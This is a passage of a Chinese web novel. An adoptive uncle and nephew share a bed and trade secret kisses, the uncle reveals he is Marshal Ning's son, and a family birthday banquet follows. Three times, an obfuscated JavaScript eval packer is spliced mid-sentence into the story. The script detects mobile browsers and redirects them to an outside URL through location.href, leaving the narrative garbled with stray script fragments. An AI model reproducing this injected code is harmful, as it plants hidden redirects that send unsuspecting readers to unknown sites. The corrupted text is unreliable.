他没办法,只能侧过身往大床内侧挪了挪,小声直抒胸臆:“没人吵我,是我非要等你回来的……我今晚想跟你一起睡,行么?” 傅承轩不说话了。 傅念斐红着耳根把被子掀开一角,拍拍床,“求你了,我有好多话想问你呢。” 傅承轩仍是一言不发,他灰蓝色的深邃眼珠直勾勾盯着傅念斐,直到把对方盯得无所适从、面红耳赤,才笑着说了句:“那你还得等等,我今天去了好多地方,身上脏,得洗洗。” 傅念斐松了口气,乖乖点头:“去吧。” “今天在你这儿洗,行么?”傅承轩突然说。 房间内的配套浴室不大,傅念斐平时都是把衣服脱在卧室,然后再拎着浴巾进去……小舅舅,是打算当着他的面脱衣服吗? 傅念斐瞬间眼睛瞪大,开始语无伦次:“……在在在这儿吗?哦哦,好,那、那你去吧,你慢慢洗,我我我我不着急呢,不困。” 傅承轩暗笑。 出息…… - 傅念斐的确也就这点儿出息,傅承轩拿着睡衣回来的时候,他的大半张脸都已缩回被子里了,只露两只照相机般的眼睛在外边,眨来眨去。 卧室内的昏暗极好地掩饰了傅承轩唇边笑意,他把睡衣和浴巾往旁边一扔,开始脱衣服。 傅念斐:啊…… 要死了。 他心里害羞至极,可这次却下定决心一寸不落地仔细欣赏。 傅承轩脱外套,他就去盯对方解纽扣的手,赞叹小舅舅指骨优美。 傅承轩抽腰带,他就内心悸动,心道这玩意绑手腕上可不得了。 傅承轩扔衬衫,赤/裸的上身线条一览无遗,他吞吞口水,心说老天爷,这可比洋□□展示的西洋壁画好看多了…… 一路看下来,傅念斐红得冒烟,眼睛水淋淋的明显思春样。 直到傅承轩终于把手搭在裤腰边缘,他立刻屏气凝神,眼睛都舍不得眨。 可傅承轩偏偏停了,突然转头看向傅念斐,将小色鬼抓了个正着。 “偷看我呢?”傅承轩语调促狭,故意问。 小色鬼连忙澄清:“才没有,我是听见皮带响才睁开眼睛!” “是么?”傅承轩语调半信半疑。 傅念斐心虚地嗯了一声。 傅承轩忍笑心道,小骗子,拿人当电影看还不承认,这么半天也该看够了。 于是他拎起睡衣,踏进浴室:“我还是进去脱吧,省得搅扰你酝酿睡意。” 傅念斐:哎! 直到浴室里水声响起,傅念斐才失望地长长“哦”了一声,暗骂自己:我这张臭嘴,提什么皮带响…… 不过这水声…… 也挺让人浮想联翩的。 傅念斐幸福地卷着被子滚了两圈,蜷在里面嘿嘿偷笑,可笑着笑着就笑不出了。 半晌过后,他忍不住夹紧双腿,捂住耳朵,在柔软的被子上蹭了两下。 反观浴室里的傅承轩,他正双手撑墙站在蓬头下面淋冷水,微张的唇中却只呼出热气。 小外甥炽热的眼神还黏在他脑海里,让他悸动,更让他难受…… - 这个澡,傅承轩洗得格外漫长,久到傅念斐已经没心思想三想四了,只想让舅舅赶紧出来钻被窝一起睡觉。 他额头顶着墙壁,昏昏沉沉地闭了眼,正在真正陷入沉眠的前一秒,身后床面一陷。 傅念斐一下子就精神了。 湿度尚存还冒着热气的身体慢慢贴近,傅承轩的声音很好听,像萦绕在耳畔的进口唱片:“睡了?” “没、没呢……”傅念斐瞪着墙壁道,“不困。” 傅承轩笑出声,明显是嘲笑。 傅念斐:…… 傅承轩:“困了就早点睡,有话明天再说,我又跑不了。” 傅念斐想了一会儿,还是转过来跟傅承轩面对面:“其实我有好多想问的,但我不知道该不该问。” 傅承轩温柔地看着他:“有什么该不该的,你想就可以问,我什么都答,知无不言。” 傅念斐沉默半晌:“舅舅,你是不是不止是个商人?” 舅舅总说奉城过段时间不太平,宁雅公馆里的枪械弹药更是一箱一箱的,即便是商人为求自保,如此数量的武器,怎么可能轻松购入? 此外,他越跟舅舅学枪学拳脚,越能看出宁雅公馆的护卫和往来人员不简单。更何况有些人面熟,他好像在每日巡逻的城防军中看过。 但这些人来宁雅公馆的时候都穿便衣,各个管他叫念斐小少爷,还给他带点心吃。 「奉城不太平,但一个月后就好了」 这话说得太狂,虽说从傅承轩口中说出来总能让人信服,可这毕竟不该是一个寻常商人能说了算的。 傅念斐不怕别的,他只怕一件事。 “舅舅。”傅念斐把额头贴在傅承轩颈窝处,感受着对方的体温和自己常用的桂花皂香,“你最近经常晚归,是在忙奉城安危的事情吗?有危险吗?我很担心。” 傅承轩一愣,他原以为对方要问辛笃学,没想到却是说这个。 傅念斐闷闷道:“舅舅,我再不想受那样的惊吓了,你能不能答应我,别再让我害怕。” 傅承轩闭了闭眼,再睁眼时,眼底无奈已被笑意取代:“放心,保护我的人很多,我是不会有事的……知道小舅舅本名叫什么吗?” 傅念斐摇头。 知道叫阿霆,但姓什么没问过,怕触及小舅舅的伤心事。 “宁佑霆。”傅承轩说。 傅念斐一时没反应过来:“宁佑霆?好听。” 真好听,舅舅叫什么都好听,这名字威风,跟舅舅好配。 傅承轩哭笑不得:“笨蛋,我姓宁。” 傅念斐顿了一下,这才醍醐灌顶:“宁?那个宁?” “嗯。” 傅念斐一时说不出话,他有些震撼,天下姓宁的许多,威震四方的宁却只有一个。 怪不得小舅舅变化如此之大,还多了好多看不清深浅的各界好友,就连杜会长都…… 等等。 傅念斐有些疑惑:“可……我记得母亲说,你当年之所以被傅家收养,是因为父亲战死母亲又遭遇海难,难道当年宁大帅是故意假死的?” 傅承轩摇头:“我爹担忧我和母亲的安全,我不到三岁时,他便让我跟母亲出国定居了。他若是故意用假死这种招数,一时半会传不到国外,是有人故意的。” 傅念斐:“故意?” 傅承轩笑笑:“我爹仇人太多,恰好有一个得知我跟母亲在国外。这些人在国外没根基没人手,不敢强行绑票,便编了个谎话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370086|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说我爹已死,接我们母子回国参加丧礼。” 不幸,邮轮遭遇海难,傅承轩他娘重伤失血没救过来。不幸中的万幸,那个骗他们母子回国的人也死了。 “当初在邮轮上,你外祖父看我娘是个貌美寡妇,汉话说得好,便整天缠着她说话。我娘那时也察觉来接我们的人不对,想从傅茂口中探些消息,就常跟他闲聊。后来事发突然,估计是看傅茂有些家资,养活个孩子绰绰有余,这才把我托付给他。” 其实也不白托付。 他娘留下一个手提箱,里面有很多好东西。 傅念斐听完有些不忿:“既然你爹好好的,为什么他不接你走呢?留你在傅家受苦这些年,还差点死了!” 在傅念斐心里,这位宁大帅怕是跟他爹和外祖父一样,管生不管养,只在有需要的时候才会利用一番,所以小舅舅才不得不去打仗。 总之,肯定不是个好爹! 傅承轩忍俊不禁:“知道你向着我,不过不是那么回事儿。他常年打仗带个孩子不方便,正巧海难的消息传出来,能让敌人觉得我们母子都死了,反倒省心。打知道我在傅家的那天起,他就一直派人盯着我呢,从十岁到十八,要不是我爹的人扮成马贼救我,我当年就真死了。” 原来如此,那群杀掉土匪的马贼竟是宁大帅的人。 可傅念斐仍是不理解:“那他就看着你挨打?那可是二十脊杖,你还被土匪捅了一刀呢!他既然派人盯着为什么不及时救你?他不心疼?” 傅承轩笑笑:“心疼也没办法,有句话他说得对,挨过打的人才能长记性,事儿教人一次就会。被亲近之人伤过的人才会对一切充满怀疑,才能活得更长久。所以多亏傅家「教导」,这些年我屡次死里逃生,再没被人坑过。” 他说完便捏捏小外甥鼻子:“这话过去的你不一定懂,现在总该懂了吧。” 傅念斐想了想他爹和外祖父,还有一直以来对他很好很好的秦姨,嗯了一声:“你爹说得对。” 傅承轩:“你问了半天我的事,怎么不问你爹?” 傅念斐闷闷道:“原本想问,现在不想了。” “哦?” 傅念斐说:“其实我一直不能理解我爹,他好像总是不知足。我不知道怎样乖顺才能让他满意,我娘不知道如何贤惠才能让他高兴,如今我甚至不知,他要有几个儿子几个妻子才满意了。既然所求甚多,何必来做赘婿呢?反正他在你手里又死不了,是打是骂随你吧,我懒得管。” 傅承轩心说:我就知道,小念斐虽然讨厌这个爹,但无论如何是不忍心让对方死的。 于是便道:“他德行有亏但罪不至死,我先关他一段时间,让他每天泡在城防军的审讯声中过活,吓唬吓唬他。你爹这种人,只有怕,才能让他谨言慎行。” “可以。”傅念斐痛快答应,觉得很好。 聊完这些两人一时无话,傅承轩闭上眼摸摸小外甥的后脑勺:“睡吧,当心明天眼睛肿。” 傅念斐没吭声,过了一会儿才突然问:“舅舅……” “嗯?” “你呢?如果你将来也要成为父亲和丈夫,怎样的妻子和孩子才能让你满意知足?” 傅承轩:…… 真是无缘无故的醋。 傅承轩先是无奈:“之前不是说过么?小舅舅和你一样,从没想过结婚生子的事情。” 随后他又一顿:“……你是真忘了?还是,当时只是随便问问?” “我当然不是随便问问!你说的话我都记着呢!”傅念斐急忙道,“可我当时又不知道你爹是宁大帅,万一他在平城给你物色人选呢?万一你爹下回发电报发的不是军情是婚书怎么办!” 宁老八可是说了,平城的小姐们都排着队嫁你的。 傅承轩忍俊不禁,屈指弹了小外甥额头一下:“放心,他不会逼我的。” “你怎么知道?” 傅承轩闭上眼睛,摆出一副准备入睡的样子,实际语出惊人:“他知道我喜欢男人。” 傅念斐闻言一瞬间,只觉得血液都在倒流,差点喜极而泣:“你你你……小舅舅,你喜欢男的?” “嗯。”傅承轩弯唇,故意问,“怎么,念斐不愿意舅舅喜欢男人,听见这个不想跟舅舅睡了?” “当然不是!”傅念斐激动得要死,连忙闭上眼睛,“我可以每天都跟舅舅睡。” 傅承轩莞尔。 傅念斐很快又睁眼,语气酸溜溜:“舅舅,你怎么知道自己喜欢男的?你都喜欢过谁啊?” 傅承轩:…… 27.27-偷亲 话题再继续下去天都要亮了,傅承轩被小外甥问得想笑又心痒痒,几乎是不受控制地,他睁开眼睛将脸往前一凑—— “你是不是不想睡了,嗯?” 他说这话的时候几乎跟小外甥鼻尖相碰,他的眼神很有掠夺性,眸子一错不错地盯着傅念斐,明明没说什么,却又像什么都说了。 滚热的呼吸像缚住人脖颈的丝绸,傅念斐顿觉呼吸不畅,脑袋嗡一声,有种溺水感。 二十岁的小青年紧紧闭上眼睛,那一瞬间,傅念斐觉得小舅舅是打算吻他的。 可傅承轩什么都没做。 他看着小外甥紧抿的唇线喉结微动,最终只是笑着用额头顶了对方的额头一下,伸手盖住傅念斐因不知所措而合上的眼睛:“睡吧,再熬着眼睛就出血丝了。” 傅念斐说不清是什么心情,或许是失望,他轻轻“哦”了一声。 刚满二十的傅念斐还不懂,有些人看着稳重正经,其实是很坏的,比起直抒胸臆、接连发问,更擅长甩钩子。 你会觉得他什么都知道,又好像什么都不知道,好像很想要,又好像不想要…… 这样的软钩子一个个甩出去,或许无法立刻钩到什么东西,却次次让人心痒难耐。 而有些人,比如傅念斐自己。看着青涩懵懂、羞于开口,其实最是心急……他不想用钩子钓鱼,只想直接用网捞。 于是,天刚蒙蒙亮,傅承轩就感觉到自己身边的“小老鼠”窸窸窣窣起来了,正猥猥琐琐地趴在枕边偷窥自己。 “小老鼠”只偷看还不够,还要离近看,离近看之后明显有些激动,导致呼吸急促,偏又不会掩饰呼吸。 以至每次都是使劲儿憋一会儿气然后再深吸换气,几次下来鼻息乱的像戈壁滩上的风,呼哧呼哧的,傅承轩依靠强大的意志力才没笑出声。 不止如此,“小老鼠”还会小声嘀咕:“舅舅,你睫毛好长……鼻梁也太挺了……嘴唇形状也好……你醒了么舅舅?舅舅?” 傅承轩心想:你以为我是你?连装睡都装不明白。 没得到回应的“小老鼠”不出声了,在沉默中酝酿半晌,也不知憋了什么坏水儿。 正在傅承轩打算突然睁眼吓唬对方一下的时候,“小老鼠”热乎乎的呼吸猛地凑近,没有一丝犹豫,柔软的唇面扫过他的面颊—— 傅承轩瞬间绷紧身体。 然而主动却胆怯的“小老鼠”,也只敢做到这种程度而已。傅念斐只偷偷亲了一下,便面红耳赤地转身面壁回味去了,抿着嘴唇吧嗒了好几声。 傅承轩:…… 品出咸淡没有? 他不知道,正背对他暗自窃喜中的傅念斐突然产生一个想法,他心说既然舅舅真的喜欢男人,他爹也不催他成婚,那舅舅喜欢谁不是喜欢呢?只要我多学学、慢慢来,舅舅肯定能爱我。 反正时间长着呢。 - 就这样,傅承轩今日破天荒躺到很晚才起床。 倒也没什么别的理由,只因傅念斐那小色鬼几次三番看他没醒,隔一会儿就要来占点便宜。 不过胆子说大也小,只敢亲脸。 傅承轩挺受用,乐得睁一只眼闭一只眼,就这样装睡装到天光大亮,也不知到底是谁占了便宜。 反倒是傅念斐折腾一早上又紧张又累,刚刚才睡着,算不准什么时候能醒。 偷偷摸摸。 鬼鬼祟祟。 傅承轩下楼的时候笑出声。 宁小六:“东家今天这是有喜事儿?” 睡了一觉连电话都没接过,咋这么高兴? 傅承轩含笑道:“算喜事吧,不过算不得大喜。” 大喜? 宁小六嘿嘿笑:“那得凤冠霞帔才叫大喜了,哈哈。” 傅承轩思索一瞬:“嗯,好主意。” 宁小六:啊? 以他的悟性的确偶尔听不懂傅承轩说话,宁小六已经习惯了,他挠挠脑袋顺势问:“念斐小少爷还没醒么?您是再等会儿还是先吃早饭?” 和热衷于给儿子设定时间表的辛笃学不同,傅念斐在宁雅公馆享有自由睡懒觉的权利。偶尔起得晚些,傅承轩又不着急出门,就会等他一起吃饭。 今天上午傅承轩是没安排的,可出乎宁小六意料,傅承轩说。 “不等了,他昨晚折腾得太过,睡得晚,不一定什么时候醒。” “哦哦……” 宁小六:这话怎么怪怪的? 傅承轩若是自己吃饭就没那么多讲究,几个鸡蛋、一碟青菜、一碗粥和一点酱菜,早饭几分钟就解决。 他刚出完没多久宁老八就来了,把昨晚狱中辛笃学和秦夕那些狗咬狗的腌臜记录递给他,内容大多是两人的撕破脸皮和互相攻击,越骂越脏,没什么好看的。 唯有只言片语还算有意思。 比如辛笃学说,要不是傅云珠和她娘一样短命!你真当我愿意跟你这个泼妇一起走?早知你是个如此不干不净的婊子!我就不该允你踏入傅家的大门! 比如秦夕说:你真当谁都跟你一样削尖脑袋想进傅家?傅家的女人要么短命要么虚,傅家的男人找八百个女人也下不出几个蛋!家门不幸找个赘婿都是丧门星!谁沾上谁倒霉!呸! 傅承轩盯着这两段话沉吟片刻:“秦夕的儿子呢?” 宁小六:“还在城防那边养着呢,好吃好喝供着,就是有些受惊吓,不说话也不敢睡觉。” 傅承轩点点头:“我要单独见见秦夕。” 毒杀云珠姐的人既然不是辛笃学和秦夕,那一定还掩藏在傅家。想要让对方露出马脚,傅家就得乱起来,越乱越好。 - 在傅家乱起来之前,傅念斐先开学了。 原本他还期盼着舅舅能送他上学,没想到傅承轩比他更忙,经常早出晚归,就连有空来接他放学的承诺都至今未达成过。 宁老八曾跟他提过几次,说小舅舅在做大事、好事、要紧事,这些事于奉城百姓有长久益处,也是恢复奉城经济的当务之急,让傅念斐别介意。 傅念斐倒不是介意这个,他只是担忧小舅舅每晚都醉着回家,时间久了会不会对身体不好…… 这样想或许很自私,是出于家人之爱、情人之爱,是小爱。傅念斐清楚舅舅心中有大爱,和自己这种满心小爱的人不一样,所以他也只是想想,从没开口阻拦过舅舅做事。 他唯一能做的就是乖乖等舅舅回家,借口酒醉之人需要照顾,每天都跟舅舅一起睡……然后趁机偷亲几下。 舅舅白天为黎民奔波,晚上还要被自己占便宜。如此想来,自己真是个无耻的人…… 和几位同学一起踏出教学楼的傅念斐还在有关“无耻与否的自我批判”中挣扎,他不经意间抬头,却看到往日按时接他的斯庞蒂克轿车不见了——取而代之的,是舅舅的林肯。 舅舅! 傅念斐眼睛一亮。 他身边的同学还问呢:“诶傅同学,怎么不见你家那辆豪华小轿车?上次小六哥请我们吃甜面包来着,我们想谢谢他,李同学已经去买冰激凌做回礼了,等下你叫上小六哥,咱们去树荫底下聊着天吃,不耽误多少时间。” 傅念斐眉眼含笑:“你们下回再谢他吧,今天他不在,是我舅舅来接我。” 舅舅? “哦~~~就是你每天都要夸上几次的那位小舅舅?” “傅同学的舅舅我在家宴上都听过的,据说他一进奉城就做了好多大事,比如招募附近的战争难民共修铁路以工代赈啦~比如和杜会长合办女子纺织厂,让穷人家的女儿不必再被卖到富户为奴为婢做小姨太啦~更多的我没记住,总之是做了不少大事。” “哇!舅舅这么厉害呢?傅同学,咱这冰激凌买了别浪费,要不叫你舅舅来吃?大家一起说说话。” 傅念斐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方离开后,傅念斐身边的几位同学面面相觑:“云柳班的柳班主?他竟然给你送票?还一出手就二十张?那人可傲,一票难求,怎么对你这么好?” 这位同学边问边朝傅念斐伸手:“好同窗,能送我几张不?普通位子我能抢得,这么好的位子我可一张都没买到过。” 傅念斐把二十张票一股脑塞对方手里:“都给你们,自己分吧。” 他出手大方、表情郁闷,对这些戏票半点留恋都无,有位很知道他随和个性的同学突然长哦一声。 “我知道了!”那同学嘻嘻笑,“我听我爹说,柳班主那人荤素不忌,大家又传你舅舅喜欢男的,他正追你舅舅呢,是也不是?” 傅念斐立刻脸一板:“才不是!” “哎呀,你就告诉我们呗,我们又不是老古板。” “怪不得傅同学不感兴趣,原来是不喜欢柳班主这个舅妈~” 奉城大学的学生们的确不是老古板,校园里时常流传着各色暧昧故事,有同学间的、老师间的、老师和同学间的,当然不止有异性,也有同性的。 他们对此见怪不怪,时长互相打趣讨论,可对很多相对传统的家庭来说,同□□是万万不能允许的,所以那些不被家人认可的禁.忌之爱,大多只在学校内罗曼蒂克一番,毕业后便是笑谈。 傅念斐不喜欢这种有头没尾的感情,也不喜欢别人拿舅舅打趣,因此他很正式道:“都说了不是了,他们只是朋友关系,才不是你们想的那样,你们再这样我要生气了!” 同学们看他这样说,这才吐吐舌头:“哎呀别生气,我们不说了。” 傅念斐蔫蔫:“嗯。” 正在此时,去买冰激凌的李同学也回来了,他乐呵呵给大家分冰激凌,变分边问:“诶?小六哥呢?不是要请他吃冰激凌么?我上次听他讲平城的战役说得真好,跟他亲身经历过一样,还没听够呢。” 傅念斐闷闷地大塞一口冰激凌:“下次吧,下次我请你们吃,拜托他多讲讲。” 刚打趣他的同学把多出来的冰激凌给他:“那这个冰激凌给你舅舅吧,否则该化了。” 傅念斐正要接,身后却先探出一只手替他接了。 “谢谢。”傅承轩笑着说。 28.28-礼物 闻名不如见面。 最近奉城的上流社会中都在流传有关傅承轩的故事,有人说他年少有为,有人说他狂傲不堪。 这个年轻人既是杜会长恩公,又是渡轮公司的常务董事兼平城商会董事,还试图在奉城商界“大兴土木”……一个神神秘秘令人好奇的人,自然便成了名流家庭里的谈资。 这年头,能互相请客吃冰激凌、甜面包,日日有车接送的家庭必然都不差,对这些上流谈资自是了解颇多。 于是同学们你看我、我看你,只觉得好奇了一个暑假的“神秘人”,今日总算见到本人了……就是没想到这么英俊。 不过在傅承轩这种威势颇重的人面前,即便他是笑着的,同学们也不太敢放肆。 “舅舅好。” “念斐舅舅好。” 小同学们自发站成一排乖乖问好,边说边偷偷瞧傅承轩。 傅念斐酸气上浮:这明明是我舅舅,他只有我一个外甥,你们跟着瞎叫什么…… 以后舅舅还是不要接我的好,气死了。 傅承轩早就瞥到傅念斐脸色。 他忍不住想故意跟大家多说几句话逗逗小外甥,又真怕给对方气哭了,只能点到为止,尽快跟这些小同学话别。 “常听念斐提起你们,说他在学校里有几位挚友,今日终于见到了。”傅承轩笑着说,“等下我还有别的事,不好多耽搁。不过过段时间我要在城郊开个马场,如果你们喜欢马,可以跟念斐一起去玩,那边能野餐能拍照,我再定个烤炉给你们,可以烤德国香肠和大虾吃。” “哇——” 同学们羡慕地看向傅念斐,眼神亮晶晶。 傅念斐:…… 酸气顿消。 傅承轩看他脸色好了,这才正式告辞,同学们也嘻嘻哈哈道别散开,临别前还嘱咐傅念斐千万别忘了带大家去骑马。 傅念斐抿唇笑:“知道了。” 他心道,舅舅对我的爱,只一点点,就让你们这么羡慕,所以我不吃你们的醋。 两人边吃冰激凌边往校外走,一路上有不少人好奇地觑着傅承轩这副略带洋人特征的样貌。 傅承轩向来不在意这些。 傅念斐也正一门心思沉浸在跟舅舅吃着冰激凌逛校园的幸福里。感觉好像情侣呀,他想。 他俩吃完冰激凌才上车,傅承轩用手帕沾了些水给傅念斐擦嘴擦手,等对方弄好了才翻个面给自己擦。 傅念斐盯着那条手帕,想要之心溢于言表:“给我吧,我回去洗。” 连条手帕都贪图,傅承轩愈发觉得小外甥有做变态的本事,他忍俊不禁,作势要收起来:“你洗什么,家里的婆子会洗。” “她洗得没我干净。”傅念斐眼神游移,随便找了个借口。 “是吗?”傅承轩故意蹙起眉心,“做事不认真,我让小六换个新婆子?” 傅念斐一惊:“我不是那个意思!我是说——” 傅承轩莞尔,将手帕塞给小外甥:“逗你的,拿着吧。” 轿车缓缓启动,四平八稳开向宁雅公馆。 傅念斐握着那条手帕,美滋滋收了,当真像个小变态。 - 今晚傅承轩的确“不忙”,但他的不忙显然只是无需外出赴宴,有些必要的工作还是要做。 比如现在,傅承轩正同小外甥一起吃晚饭,可没吃几口便彻底沉浸在几本账本之类的东西上。 傅念斐一开始还和他说几句话,傅承轩也算有问有答。 后来或许是见他看得太入神,傅念斐就不开口了,边看舅舅边吃桌上的四菜一汤,一吃就是一大碗,也不知到底是拿什么下饭呢。 傅念斐吃得很饱,婆子过来收拾桌子,还笑:“小少爷今日胃口好,吃的比傅先生都多。” 自打傅念斐强调无需在饭菜上破费之后,宁雅公馆的厨房每顿都改成了四菜一汤,平日里这些两人吃刚好,今晚傅承轩没怎么动,就显出傅念斐食欲凶猛来了。 傅念斐抿唇笑笑:“舅舅没怎么吃,等他忙完了就让厨房给他煮碗面吧。最近他酒喝得多,别放卤牛肉之类的东西,不好消化,提前炖点鸡汤,弄个鸡汤面,放个鸡腿打个鸡蛋,再下点小青菜。” 婆子仔细记了,笑着夸傅念斐贴心,说这就告诉厨房去。 傅念斐坐在桌边又看了傅承轩好久,见对方一时半刻恐怕忙不完,甚至对四周声响都充耳不闻,也只能上楼去了。 没办法,他也有课业要做。 傅承轩查看的东西的确重要,一是奉城近些年的税收数据,二是从奉城前主人赵大帅府上查抄出来的物品和信件梳理。 他这一看就是一个多小时,连傅念斐什么时候离开的都不知道,等他终于翻完最后一页,忍不住对着空荡荡的客厅愣了一下:“念斐呢?” 一直站在饭厅门口的宁小六过来道:“念斐小少爷回屋看书去了,说明天课上老师要考教。” 傅承轩闻言笑笑:“从小就认真。” 宁小六笑嘻嘻:“要不说和您是舅甥呢,挺像。” 傅承轩唇角微弯没说话,他心道要像也是夫夫相,不是舅甥相。 宁小六挠挠头,对自己错拍马屁的事似有所感。 傅承轩合上本子:“东西刻好了吗?” 宁小六:“快了,少帅给念斐小少爷准备的东西,那自然是得精细再精细,雕刻师傅还是头一回在枪上刻东西,前段时间都拿军营里的武器做练习呢,想要成品还得等几天。” 他顿了一下又问:“少帅,怎么不弄把新枪给念斐小少爷?那把手枪是您刚学枪的时候就在用,这么多年过去早就磨顺手了,咋说送人就送人?” 傅承轩轻声说:“意义不一样。” 新枪旧枪恰如新人旧人,经过的事、承载的情,都是不同的。他对傅念斐的感情比这还要浓、还要放不下、还要不可分割…… 近几日他也想的很清楚了,有些事早晚要捅破那层窗户纸。 刚回来的时候他还没有这么急,可自从看出念斐也喜欢自己,感受到对方每晚偷亲自己时鬼鬼祟祟的样子,他突然就急不可耐了。 就让这把枪来见证吧,傅家周岁宴过后,他就同念斐讲。 宁小六见他许久不说话,还以为傅承轩看账本看累了:“少帅,傅家周岁宴那天的事儿已经准备好了,您要是没别的吩咐就休息吧,今晚难得清静。” 傅承轩揉揉酸胀的眉心:“嗯,告诉大家千万别急躁,不能立刻抓人,首要任务是把奉城的地道摸清,否则后患无穷。” 宁小六点头:“少帅,这次是不是太冒险了?您身上的伤还没好全呢。” 傅承轩无奈笑笑:“除恶务尽,不冒险就永远后患无穷,别担心,咱们准备充足,不会有大问题的。我现在就是想不好,要不要告诉念斐这件事。” 说,恐他面上暴露引人怀疑。 不说,小外甥怕是要吓死。 一城安危,并非儿戏。 傅承轩十分犹豫,这一犹豫,就犹豫到了周岁宴那天。 - 傅家周岁宴最终定下在奉城大饭店举办,这里宴会厅大、气派,往来的名流要员也多,消息传得快。 至于要传什么消息,傅家主自有打算,现在还不足为外人道。 傅家四爷傅承祖的周岁宴,其母三太太自然是最风光的人。她仍是一身浅淡色修身软缎旗袍,戴着莹润昂贵的珍珠白玉首饰,衬得她身段气质愈发婀娜温婉。 受邀参宴的客人们看着三太太和傅家主老夫少妻相敬如宾,都笑称好福气,又看了眼襁褓中白白胖胖的傅承祖,又道一句好福气。 傅家主笑得见牙不见眼,紧紧搂住三太太的肩膀,像搂着一块能下金蛋的玉疙瘩。 不远处,二太太还是那身张扬耀眼的紫红色,以她的年纪论姿容自是无法跟三太太媲美,但她有亲哥哥做靠山,权势傍身,说话自然更有底气些。 “哼,谁还没个儿子?有什么了不起。”二太太撇嘴。 跟她交好的几个都是汪局长下属的老婆,自然顺着她说。 “也就是看着乖巧,老婆子们都喜欢这样的,哪有二太太看着富贵又福气?” “儿子又怎样?她一个孤女的儿子,能有承闲半分伶俐都要烧高香了。” “傅家还是得靠汪家的,生个小儿子就是高兴一时,不长久,家主都懂。” 二太太闻言面上逐渐高兴起来,她指尖一点,朝刚说话的那位阔太太笑道。 “你说的对,生儿子又怎样?现在不过周岁,再过十年也识不得几个字。我们老爷最看重和我娘家的关系了,他今天高兴,我就给他这个面子,多笑几下,只是……” 二太太往去抱孩子的傅老太太那边瞅了一眼,面色又开始不好。 “……这老虔婆,今天倒是笑得欢快,我们承闲周岁宴的时候可没见她这么高兴。我给傅家生了第一个儿子,我哥哥多年来对傅家的帮衬持续不断,她倒好,看我像仇人一样,永远没个好脸色,真不知道哪里惹到她了。” 二太太越说越气,她刚喝了几杯酒,声音逐渐高亢起来。周围几个姨太太怕她在宴会上出丑,连忙低声劝慰,簇拥着带她去喝醒酒汤了。 “老太太您看,二姨太又给脸色看呢。”伺候了傅老太太几十年的王婆子,觑着被人拉走的二太太偷偷说。 傅老太太不动如山,抱着孩子轻轻摇晃:“有什么关系?她甩脸子是因为我让她不痛快了,也是因为她没本事再生。在这个家,我让她不痛快的时候多,她让我不痛快的时候少,所以她甩脸子就甩去,我不在乎。” 她逗弄几下孩子便将孩子重新还给三太太,爱怜地抚摸着孩子的小脸:“进月,你生了个儿子,尤其好,我很高兴。” 三太太詹进月低声道:“您高兴我就高兴。” 傅老太太笑笑:“要我说,孩子的父亲才该是最高兴的人……你告诉他了吗?” 三太太柔柔一笑:“等下我就告诉他,让他也高兴高兴。” - 周岁宴大厅里,傅念斐正在到处乱转。 这是三房的喜事,按理来说跟他没什么关系,他露个面就走都行。可不知为何,小舅舅今日格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378379|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有耐心,不仅愿意来,还跟傅家主他们谈事去了。 前来赴宴的名流不少,除了傅承轩还有杜会长,焦副行长也带着女儿来了,还有许多其他傅念斐从没见过的大小名人。 同时请这么多人赴宴,外祖父也真是下了血本,傅念斐总觉得怪怪的…… 但可能在外人看来,傅家主老来得子,大操大办倒也正常。 傅念斐想不通,索性不想了,总归商业上的事他掺和不进去,既然如此就多吃点吧,不吃白不吃。 他用盘子装了好些海鲜、牛肉、肉饼之类的硬货,回头朝一直跟在他不远处的宁老八招招手。 宁老八几步过来:“小少爷?” 傅念斐把盘子塞给他:“别光跟着我,你也吃,想吃什么就夹。” 宁老八心里热腾腾,接了盘子:“谢谢小少爷。” 傅念斐塞给他一杯果汁:“你就坐这儿吃吧,反正我就绕着餐台走,不离开你视线,不用担心。” 宁老八:“哎,好。” 傅念斐说完自己也去夹东西吃了,说实话,宁雅公馆的饭菜比奉城大饭店更合他口味,他早上吃得多,现在看什么都没胃口,就只拿了点小蛋糕和冰激凌,打算坐着慢慢吃。 没想到没吃几口,突然有个穿着西式长裙的漂亮小姐到他身边坐下,十分自来熟。 “你是傅念斐,对吗?” 这位小姐边说边盯着他的脸看,傅念斐眉头微蹙,十分不自在:“您是?” “我叫汪明月,警察局汪局长是我父亲。”汪明月微微扬起下巴,很骄傲的样子,“汪局长你肯定知道的,你们傅家二太太的亲兄长。” “哦……” 汪局长的女儿?汪局长的太太不是不能生育么?从哪儿蹦出来这么大的女儿? 他思索半晌,终于从犄角旮旯中挖出些许回忆,想起对方应当是汪局长小老婆的女儿,因这对母女不长居奉城,所以他才没见过。 傅念斐客气点头:“你好汪小姐,你有事找我吗?食不言寝不语,我正吃饭呢。” 言下之意,不想理你。 汪明月却半点弦外之音都没听出来,清脆笑笑:“那你就先别吃了,咱们说会儿话,我想跟你聊聊天。” 傅念斐:…… 他头一回遇到这种人,此时还没反应过来,就听汪小姐又问他:“我问你,你有女朋友了么?” “女朋友?” 